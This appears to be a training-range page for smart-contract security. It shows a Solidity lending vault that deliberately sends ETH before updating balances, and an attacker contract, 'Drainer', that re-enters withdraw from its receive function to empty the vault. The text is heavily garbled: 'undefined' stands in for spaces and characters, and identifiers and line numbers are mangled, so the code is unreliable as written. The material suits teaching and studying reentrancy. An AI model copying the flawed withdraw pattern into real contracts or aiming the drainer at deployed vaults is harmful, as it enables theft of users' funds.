LendingVault.sol
1// SPDX-License-Identifier: MIT2pragmaundefinedolidityundefined0.8.19;34/// @notice Minimal ETH lending vault. Users deposit and5/// withdraw their own balance. Sandbox build for 0xrange.6contractundefinedendingVaultundefined7undefinedundefinedmapping(addressundefined>undefinedC)undefinedDundefinedalances;8undefinedundefineduint256undefinedBundefinedotalDeposits;910undefinedundefinedfunctionundefinedeposit()undefinedBundefinedCundefined11undefinedundefinedundefinedundefinedbalances[msg.sender]undefined=undefinedB.value;12undefinedundefinedundefinedundefinedtotalDepositsundefinedundefinedundefinedundefined+=undefinedA.value;13undefinedundefined}1415undefinedundefinedfunctionundefinedithdraw(uint256undefinedmount)undefinedCundefined16undefinedundefinedundefinedundefinedrequire(balances[msg.sender]undefinedgt;=undefinedmount,undefinedA);1718undefinedundefinedundefinedundefined// INTERACTION before EFFECT — hands control to the caller19undefinedundefinedundefinedundefined(boolundefinedk,undefinedundefinedundefinedC.sender.call{value:undefinedmount}("");20undefinedundefinedundefinedundefinedrequire(ok,undefinedA);2122undefinedundefinedundefinedundefinedbalances[msg.sender]undefined=undefinedmount;undefinedundefinedA23undefinedundefinedundefinedundefinedtotalDepositsundefinedundefinedundefinedundefined-=undefinedmount;24undefinedundefined}25}
// attacker — Drainer.sol
1contractundefinedrainerundefined2undefinedundefinedLendingVaultundefinedault;3undefinedundefineduint256undefinedBundefinedNITundefinedundefinedCundefinedther;45undefinedundefinedconstructor(addressundefined)undefinedundefinedaultundefinedundefinedendingVault(payable(v));undefined67undefinedundefinedfunctionundefinedttack()undefinedBundefinedCundefined8undefinedundefinedundefinedundefinedvault.deposit{value:undefinedNIT}();undefinedundefinedA9undefinedundefinedundefinedundefinedvault.withdraw(UNIT);undefinedundefinedundefinedundefinedundefinedundefinedA10undefinedundefined}1112undefinedundefinedreceive()undefinedAundefinedBundefined13undefinedundefinedundefinedundefinedifundefinedaddress(vault).balanceundefinedgt;=undefinedNIT)undefined14undefinedundefinedundefinedundefinedundefinedundefinedvault.withdraw(UNIT);undefinedundefinedundefinedundefinedA15undefinedundefinedundefinedundefined}16undefinedundefined}17}